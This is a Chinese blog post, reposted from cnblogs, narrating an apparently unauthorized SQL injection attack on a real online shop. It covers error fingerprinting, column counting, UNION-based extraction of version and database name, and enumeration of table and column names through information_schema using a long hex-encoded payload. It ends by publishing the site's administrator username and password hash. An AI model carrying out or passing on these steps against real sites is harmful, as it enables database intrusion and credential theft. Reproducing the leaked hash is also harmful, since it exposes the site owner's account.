博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MySQl注入笔记
阅读量:5091 次
发布时间:2019-06-13

本文共 4793 字,大约阅读时间需要 15 分钟。

目标站点:

注入点:
首先,获得信息,加一个单引号提交返回如下信息,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
从这个错误信息可以判断2点,第一,使用的是MySQL数据库,第二,magic_quotes_gpc设置为on或者使用了addslashes()函数,使得单引号被转换为\'.但前者的可能性较大。继续,这里要查看一下数据库版本,这个很重要,后面会解释,提交,返回如下错误:
The used SELECT statements have a different number of columns
看来是select的列数不匹配,这个用order by来解决,提交返回正常,提交返回
Unknown column '20' in 'order clause',既然列数是19,继续提交返回有2,14,6几个字符(这里我把id改成了-1,省去写and 1=2),把14改成(select @@version)提交
,返回 5.0.67-community 版本知道了,看看数据库名,把@@version换成database()提交,返回babydaily_dhost,同样,获得当前数据库连接用户名 ,查看MySQL用户名,提交返回
SELECT command denied to user for table 'user',命令被拒绝执行,看来权限不够,如果不是administrator权限,数据库的表名是无法查看的,但是从5.0版本之后,mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的,这也就是之前为什么要查看数据库版本的原因了,利用这个结构,可以查看数据库一些详细的信息,比如,查看一下当前用户的权限,提交
返回:
NO
USAGE
可以看到权限是相当的小,这样,loadfile()函数也没法用,本来想select 一句话 into dumpfile(这里也可以换成outfile,但是outfile出来的文件查看的话会包含一些特殊字符,或者省略一些字符),但是弄了几次,总是出现语法错误,还是老老实实的select用户名和密码吧,但是目前表名,字段一个都不知道,幸好有这个information_schema结构,这里简单介绍下这个结构:
+—————————————+
| Tables_in_information_schema |
+—————————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+—————————————+
这里只挑注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名,
好了,静下心来,慢慢的遍历数据库的表名,经过n多小时的注入,终于猜完了数据库的表明,这里给出史上最长的注入语句:
201,table_name,3,4,5,table_schema,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%
20information_schema.tables%20where%20table_schema=database()%20and%20table_name%20!=%
//这里限定了只查看当前database有关的数据
200x63617465%20and%20table_name%20!=%200x636F6C6F72%20and%20table_name%20!=%
200x636F75706F6E%20and%20table_name%20!=%200x63757272656E6379%20and%20table_name%20!=%
200x64657369676E5F696E646578%20and%20table_name%20!=%200x656D61696C5F636F6E74656E74%
20and%20table_name%20!=%200x666F6F746572%20and%20table_name%20!=%200x6D656D626572%20and%
20table_name%20!=%200x6E657773%20and%20table_name%20!=%200x70616765%20and%20table_name%
20!=%200x706167655F6D616E616765%20and%20table_name%20!=%200x7061795F6D616E616765%20and%
20table_name%20!=%200x706F696E7473%20and%20table_name%20!=%200x70726F64756374%20and%
20table_name%20!=%200x70726F647563745F636F6C6F72%20and%20table_name%20!=%
200x70726F647563745F6F72646572%20and%20table_name%20!=%
200x70726F647563745F6F726465725F6974656D%20and%20table_name%20!=%
200x70726F647563745F6F726465725F737461747573%20and%20table_name%20!=%
200x70726F647563745F70686F746F%20and%20table_name%20!=%200x636173685F706F696E7473%20and%
20table_name%20!=%200x70726F647563745F70686F746F62616E6E6572%20and%20table_name%20!=%
200x70726F647563745F73697A65%20and%20table_name%20!=%200x70726F647563745F766964656F%
20and%20table_name%20!=%200x7365745F73746F636B%20and%20table_name%20!=%
200x7368697070696E675F64657374696E6174696F6E%20and%20table_name%20!=%
200x7368697070696E675F64657374696E6174696F6E5F70726F66696C65%20and%20table_name%20!=%
200x7368697070696E675F666565%20and%20table_name%20!=%
200x7368697070696E675F6665655F64657461696C%20and%20table_name%20!=%
200x7368697070696E675F6D6574686F64%20and%20table_name%20!=%
200x73686F7070696E675F656D61696C%20and%20table_name%20!=%200x75736572
由于程序将单引号转义为\',这里只能转换成16进制,也可以用ASCII,但是换成char语句太长了,个人选择,
这里面每一个16进制数代表一个table_name,每列出一个,增加一个 where != 语句,继续爆下一个,最后得到的全部表名是
table_name
{CHARACTER_SETS,COLLATIONS,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,

PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,

TABLE_CONSTRAINTS,

TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,cash_points,cate,color,coupon,currency,

design_index,email_content,footer,member,news,page,page_manage,pay_manage,points,product,

product_color,product_order,product_order_item,product_order_status,product_photo,product_photobanner,

product_size,product_video,set_stock,shipping_destination,shipping_destination_profile,shipping_fee,ship

ping_fee_detail,shipping_method,shopping_email,user}
这里也许你会说没必要得到全部的表名,只要得到管理员的表就行啊,为什么不用limit语句呢,原理上是可以的,但是limit语句在某些情况下会被限制,不通用,看了下那一堆的table_name,看来管理员的账号和密码只能在user里了,那继续来遍历user表,还是采用老办法,语句集合:
同理,每个16进制数代表一个字段,最后得到的全部字段集合
schema_column{id,score,display,name,password}
好了,现在好办了,直接爆账号和密码,提交:
返回 babydaily:7960e55c9a63f19d1ba3760bd0876e41
哈哈,终于搞到了,密码也可以破解,但是楞是没找到后台,心碎了。放弃吧。
后记:本次测试耗时近2天时间,损坏键盘一个,但是学到了许多Mysql数据库方面的知识,目前网上关于Mysql注入的文章不多,还有本次检测实在是运气不好,一,magic_quotes_gpc为on,单引号被屏蔽,二,权限相当的小,loadfile函数不能用,花了不少功夫。

转载于:https://www.cnblogs.com/swane/archive/2011/04/02/2003269.html

你可能感兴趣的文章
vue-socket.io 及 egg-socket.io 的简单使用
查看>>
.NET环境下,通过LINQ操作SQLite数据库
查看>>
Python day 6(4) Python 函数式编程2
查看>>
面向对象 的属性 类方法 静态方法
查看>>
python split()函数多个分隔符用法
查看>>
读书笔记--Spring Integration in Action 目录
查看>>
Linux console text color
查看>>
ES6 Promise对象then方法链式调用
查看>>
LiveNVR RTSP流媒体服器软件通过按需直播降低企业服务带宽 - RTSP网页无插件直播...
查看>>
css正常文档布局和元素可见性代码
查看>>
JS --实用小方法收集
查看>>
python-数据类型
查看>>
ASP.NET EF实体主外键关系
查看>>
【python之路15】深浅拷贝及函数
查看>>
Python操作RabbitMQ
查看>>
HDUOJ----4509湫湫系列故事——减肥记II
查看>>
linux下mysql函数的详细案列
查看>>
【2019.7.24】数颜色 / 聪明的可可 / 奖章分发
查看>>
深度学习基础网络 ResNet
查看>>
js(事件) d3
查看>>